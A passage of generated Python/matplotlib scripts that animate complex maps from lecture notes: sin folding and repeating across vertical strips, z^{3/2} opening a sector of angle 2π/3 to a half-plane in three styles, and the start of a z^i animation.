PZ = PolyCollection([], alpha=0.45, lw=0, antialiased=False); PW = PolyCollection([], alpha=0.45, lw=0, antialiased=False)
axz.add_collection(PZ); axw.add_collection(PW)
circ = R0 * np.exp(1j * np.linspace(0, 2 * np.pi, 361)); spokes = R0 * np.linspace(-1, 1, 41)
LA = [[a.plot([], [], color="k", lw=w)[0] for w in (1.2, 0.8, 0.8)] for a in (axz, axw)]
LB = [[a.plot([], [], color=c, lw=w)[0] for c, w in [(ORB[0], 1.1)] * 2 + [(ORB[1], 1.1)] * 2 + [("k", 1.1)] + [(VC, 0.9)] * 7] for a in (axz, axw)]
DOT = [[a.scatter([], [], s=s, color=c, edgecolor="k", zorder=z) for s, c, z in ((30, "k", 7), (30, "w", 7), (30, "k", 8), (34, PUR, 7))] for a in (axz, axw)]
L1 = H + 0.7; ga = fig.add_axes([0.1, 0.04, 0.84, 0.13]); ga.set_xlim(0, L1 + H); ga.set_ylim(0, 1.2); ga.tick_params(labelsize=9.5)
ga.set_xticks([0, L1, L1 + H]); ga.set_xticklabels([r"$z_0=-0.7$", r"$\frac{\pi}{2}$", r"$\pi$"]); ga.set_yticks([0, 0.5, 1])
GA = [ga.plot([], [], color=c, lw=2.2, label=n)[0] for c, n in (("k", r"$|\sin'(z_0)|=|\cos z_0|$"), (PUR, "size of image / size of disc (measured)"))]
ga.legend(loc="lower center", bbox_to_anchor=(0.5, 1.0), ncol=2, frameon=False, fontsize=10, borderaxespad=0.1); GV = ga.axvline(0, color="0.6", lw=0.8)
gb = fig.add_axes([0.1, 0.04, 0.84, 0.13]); gb.set_xlim(-H, 3 * H); gb.set_ylim(-0.3, 2.6); gb.tick_params(labelsize=9.5)
gb.set_xticks([-H, H, 3 * H]); gb.set_xticklabels([r"$-\frac{\pi}{2}$", r"$\frac{\pi}{2}$", r"$\frac{3\pi}{2}$"]); gb.set_yticks([0, 1, 2])
GB, = gb.plot([], [], color=PUR, lw=2.2, drawstyle="steps-post", label=r"number of solutions of $\sin z=w^{*}$ in the window, against $a$")
gb.legend(loc="lower center", bbox_to_anchor=(0.5, 1.0), frameon=False, fontsize=10, borderaxespad=0.1); gb.set_visible(False); GW = gb.axvline(0, color="0.6", lw=0.8)
AA = np.linspace(-H, 3 * H, 2001); CA = np.array([cnt(a) for a in AA])
T = texts((0.69, 0.667, 0.644)); part = [None]
STZ = axz.scatter(PRE.real, PRE.imag, marker="*", s=90, color="w", edgecolor=PUR, zorder=8)
STW = axw.scatter([WS.real], [WS.imag], marker="*", s=110, color=PUR, edgecolor="k", zorder=8)


def pathA(p):
    return PA[0] + (PA[1] - PA[0]) * p if p <= 1 else PA[1] + (PA[2] - PA[1]) * (p - 1)


def ratio(z0):
    return np.abs(np.sin(z0 + circ) - np.sin(z0)).max() / R0


PS = np.linspace(0, 2, 400); XS = np.where(PS <= 1, PS * L1, L1 + (PS - 1) * H)
CS = np.array([abs(np.cos(pathA(p))) for p in PS]); RS = np.array([ratio(pathA(p)) for p in PS])
setd = lambda h, q: h.set_data(q.real, q.imag)
seto = lambda h, q: h.set_offsets(np.c_[np.real(q), np.imag(q)].reshape(-1, 2))


def frame(k):
    ph, p, dl = SCHED[k]; A = ph == "A"
    if part[0] != A:
        part[0] = A; ga.set_visible(A); gb.set_visible(not A); STZ.set_visible(not A); STW.set_visible(not A)
        for h in sum(LA + LB, []):
            h.set_data([], [])
        for h in sum(DOT, []):
            seto(h, [])
    if A:
        z0 = pathA(p); w0 = np.sin(z0); Q = z0 + DQ
        PZ.set_verts(verts(Q)); PZ.set_facecolors(DC); PW.set_verts(verts(np.sin(Q))); PW.set_facecolors(DC)
        B = np.sin(z0 + circ); wind = int(round(np.sum(np.diff(np.unwrap(np.angle(B - w0)))) / (2 * np.pi)))
        for (c, s1, s2), f, (d0, d1, d2, d3) in zip(LA, (lambda q: q, np.sin), DOT):
            setd(c, f(z0 + circ)); setd(s1, f(z0 + spokes)); setd(s2, f(z0 + 1j * spokes))
            seto(d0, f(z0 + R0)); seto(d1, f(z0 - R0)); seto(d2, f(z0))
        zp = np.pi - z0; inside = abs(zp - z0) < R0 - 1e-9
        seto(DOT[0][3], zp if inside and abs(zp - z0) > 1e-9 else [])
        title.set_text(r"Folding: at $z_0=\frac{\pi}{2}$, where $\sin'=\cos=0$, $\sin$ doubles angles")
        sub.set_text((r"A small disc goes to roughly a disc, scaled by $|\cos z_0|$ and turned by $\arg\cos z_0$; at $z_0=\frac{\pi}{2}$," + "\n" +
                      r"$\sin(\frac{\pi}{2}+h)=\cos h\approx1-\frac{h^{2}}{2}$: opposite quarters land on the same half (darker)")
                     if p <= 1 else (r"Past $\frac{\pi}{2}$ the image turns back: $\sin(\pi-z)=\sin z$ (purple dot: $\pi-z_0$);" + "\n" +
                                     r"at $z_0=\pi$, $\cos z_0=-1$: a disc again, turned through $\pi$ (black and white dots swap)"))
        m = PS <= p + 1e-9; GA[0].set_data(XS[m], CS[m]); GA[1].set_data(XS[m], RS[m]); GV.set_xdata([XS[m][-1]] * 2)
        T[0].set_text("z₀ = %s     sin z₀ = %s     cos z₀ = %s" % (c2(z0), c2(w0), c2(np.cos(z0))))
        T[1].set_text("size of image / size of disc = %.3f;   |cos z₀| = %.3f" % (ratio(z0), abs(np.cos(z0))))
        T[2].set_text("image of the boundary circle winds %d time%s round sin z₀%s" % (wind, "s" if wind > 1 else "",
                      ";  π − z₀ is in the disc too" if inside else ""))
        return
    a = p; X = np.linspace(a - dl, a + np.pi + dl, 25)
    G = [X[None, :] + 1j * np.linspace(0, YB, 4)[:, None], X[None, :] - 1j * np.linspace(0, YB, 4)[:, None]]
    Q = np.concatenate([quads(g) for g in G]); FCs = np.repeat(ORB, len(Q) // 2, 0)
    PZ.set_verts(verts(Q)); PZ.set_facecolors(FCs); PW.set_verts(verts(np.sin(Q))); PW.set_facecolors(FCs)
    xs = np.linspace(a - dl, a + np.pi + dl, 300); ys = 1j * np.linspace(-YB, YB, 100)
    CUR = [xs + 1j * v for v in (YB, YB / 2, -YB / 2, -YB, 0)] + [c + ys for c in a + np.array([0.25, 0.7, 1.15, H, 1.99, 2.44, 2.89])]
    for hz, hw, q in zip(LB[0], LB[1], CUR):
        setd(hz, q); setd(hw, np.sin(q))
    inw = (PRE.real > a - dl) & (PRE.real < a + np.pi + dl); STZ.set_facecolors([PUR if i else "w" for i in inw])
    m = AA <= a + 1e-9; GB.set_data(AA[m], CA[m]); GW.set_xdata([a, a])
    al = abs(np.cos(a)) < 1e-9; kk = int(round((a + H) / np.pi))
    title.set_text(r"Periodicity: each strip $a<x<a+\pi$ with $a=-\frac{\pi}{2}+k\pi$ is another copy")
    if ph == "W":
        sub.set_text(r"Widen the strip by $%.2f$ on both sides: the new slivers land where the image already is;" % dl + "\n" +
                     r"so $\sin$ is one-to-one on no wider vertical strip")
        seto(DOT[0][2], [ZA, ZB] if dl > 0.3 else []); seto(DOT[1][2], np.sin(ZA) if dl > 0.3 else [])
        T[0].set_text("window %.3f < x < %.3f, width π + %.2f" % (a - dl, a + np.pi + dl, 2 * dl))
        T[1].set_text("" if dl <= 0.3 else "black dots: z = %s and 5π − z = %s" % (c2(ZA), c2(ZB)))
        T[2].set_text("" if dl <= 0.3 else "sin of both = %s  (difference %.0e)" % (c2(np.sin(ZA), 4), abs(np.sin(ZA) - np.sin(ZB))))
        return
    sub.set_text((r"$%s<x<%s$: orange (upper half) goes to the %s half-plane; one copy of the cut plane" % (
        [r"-\frac{\pi}{2}", r"\frac{\pi}{2}", r"\frac{3\pi}{2}"][kk], [r"\frac{\pi}{2}", r"\frac{3\pi}{2}", r"\frac{5\pi}{2}"][kk], "lower" if kk % 2 else "upper")
        + "\n" + (r"Theorem 17.10" if kk == 0 else r"$\sin(\pi-z)=\sin z$, and $z\mapsto\pi-z$ swaps the upper and lower halves"))
        if al else r"In between: the window contains pairs $z$, $\pi-z$ (mod $2\pi$) with the same image;" + "\n" +
        r"part of the image is covered twice (darker), part of the cut plane is missed")
    T[0].set_text("window %.3f < x < %.3f%s" % (a, a + np.pi, "   (a = −π/2 + %dπ)" % kk if al else ""))
    T[1].set_text("orange → %s" % ("upper half-plane" if al and kk % 2 == 0 else "lower half-plane" if al else "both half-planes, folded"))
    T[2].set_text("solutions of sin z = w* = 0.5 + 0.4i in the window (filled stars): %d" % cnt(a))

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=65)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(76)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""$z^{3/2}_{\mathrm{pr}}$ on a sector of angle $2\pi/3$ -- animation A (straight-line slide).
Generated by gen_anims.py from specs.py; notes: Proposition 18.5, p. 95 (ch18:147); Example 18.6 (opening a corner, $\alpha=\pi/\varphi$), p. 96 (ch18:177)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (1 - s) * z + s * (pw(z, 1.5))
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'every point moves in a straight line from $z$ to $z^{3/2}$'
TITLE = '$w=(1-s)\\,z+s\\,z^{3/2},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'polar', (0.2, 1.2, 5, 0, 2.0943951023931953, 6)
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""$z^{3/2}_{\mathrm{pr}}$ on a sector of angle $2\pi/3$ -- animation B (path of maps).
Generated by gen_anims.py from specs.py; notes: Proposition 18.5, p. 95 (ch18:147); Example 18.6 (opening a corner, $\alpha=\pi/\varphi$), p. 96 (ch18:177)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: pw(z, 1+0.5*s)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = '$r\\mapsto r^{3/2}$, $\\theta\\mapsto\\frac{3}{2}\\theta$:\nthe sector of angle $2\\pi/3$ opens to the half-plane'
TITLE = '$w=z^{1+s/2},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'polar', (0.2, 1.2, 5, 0, 2.0943951023931953, 6)
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""$z^{3/2}_{\mathrm{pr}}$ on a sector of angle $2\pi/3$ -- animation C (tiles).
Generated by gen_anims.py from specs.py; notes: Proposition 18.5, p. 95 (ch18:147); Example 18.6 (opening a corner, $\alpha=\pi/\varphi$), p. 96 (ch18:177)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: pw(z, 1+0.5*s)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = '$r\\mapsto r^{3/2}$, $\\theta\\mapsto\\frac{3}{2}\\theta$: the sector of angle $2\\pi/3$ opens to the half-plane'
TITLE = '$w=z^{1+s/2},\\quad s=%.2f$'
TILEKIND, TILEARGS = 'polar', (0.2, 1.2, 4, 0, 2.0943951023931953, 4)
HILITE = [6, 13]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))
E = 10
ee = np.linspace(0, 1, E, endpoint=False)
TL = []
if TILEKIND == "cart":
    x0, x1, y0, y1, n, m = TILEARGS
    hx, hy = (x1 - x0) / n, (y1 - y0) / m
    for j in range(m):
        for i in range(n):
            a, b = x0 + i * hx, y0 + j * hy
            TL.append(np.concatenate([a + hx * ee + 1j * b, a + hx + 1j * (b + hy * ee),
                                      a + hx * (1 - ee) + 1j * (b + hy), a + 1j * (b + hy * (1 - ee))]))
else:
    r0, r1, n, t0, t1, m = TILEARGS
    hr, ht = (r1 - r0) / n, (t1 - t0) / m
    for j in range(m):
        for i in range(n):
            a, b = r0 + i * hr, t0 + j * ht
            TL.append(np.concatenate([(a + hr * ee) * np.exp(1j * b), (a + hr) * np.exp(1j * (b + ht * ee)),
                                      (a + hr * (1 - ee)) * np.exp(1j * (b + ht)), a * np.exp(1j * (b + ht * (1 - ee)))]))
PALE = ["#dfe8f5", "#f6e3d3"]
COL = [PALE[(i + j) % 2] for j in range(m) for i in range(n)]
for k, c in zip(HILITE, ["#e76f51", "#2a9d8f"]):
    COL[k] = c


def shown(p):                                   # tiles that pass near infinity are hidden
    return np.all(np.isfinite(p)) and np.max(np.abs(p)) < R


allp = np.concatenate([Hs(t, s) for t in TL for s in np.linspace(0, 1, 11)])
allp = allp[np.isfinite(allp) & (np.abs(allp) < R)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = allp.real.min(), allp.real.max(), allp.imag.min(), allp.imag.max()
    mg = 0.05 * max(X1 - X0, Y1 - Y0)
    X0, X1, Y0, Y1 = X0 - mg, X1 + mg, Y0 - mg, Y1 + mg
Z = np.concatenate(TL)
zx0, zx1, zy0, zy1 = Z.real.min(), Z.real.max(), Z.imag.min(), Z.imag.max()
mz = 0.05 * max(zx1 - zx0, zy1 - zy0)

fig = plt.figure(figsize=(10, 5.4))
axz = fig.add_axes([0.05, 0.08, 0.34, 0.72])
axw = fig.add_axes([0.45, 0.08, 0.52, 0.72])
axz.set_xlim(zx0 - mz, zx1 + mz); axz.set_ylim(zy0 - mz, zy1 + mz)
axw.set_xlim(X0, X1); axw.set_ylim(Y0, Y1)
for a in (axz, axw):
    a.set_aspect("equal", adjustable="box"); a.tick_params(labelsize=9)
    a.axhline(0, color="0.82", lw=0.8); a.axvline(0, color="0.82", lw=0.8)
axz.add_collection(PolyCollection([np.c_[t.real, t.imag] for t in TL], facecolors=COL,
                                  edgecolors="white", linewidths=0.8))
axz.set_title(r"$z$-plane", fontsize=13)
tw = PolyCollection([], edgecolors="white", linewidths=0.8)
axw.add_collection(tw)
title = axw.set_title("", fontsize=13)
fig.text(0.5, 0.925, SUB, ha="center", va="center", fontsize=11 if "\n" in SUB else 11.5, color="0.3", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    P = [Hs(t, s) for t in TL]
    keep = [i for i, p in enumerate(P) if shown(p)]
    tw.set_verts([np.c_[P[i].real, P[i].imag] for i in keep])
    tw.set_facecolors([COL[i] for i in keep])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""$z^{i}_{\mathrm{pr}}$: circles to rays, rays to circles -- animation A (straight-line slide).
Generated by gen_anims.py from specs.py; notes: Example 18.7 and Figure 18.1, p. 96 (ch18:188, 202)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
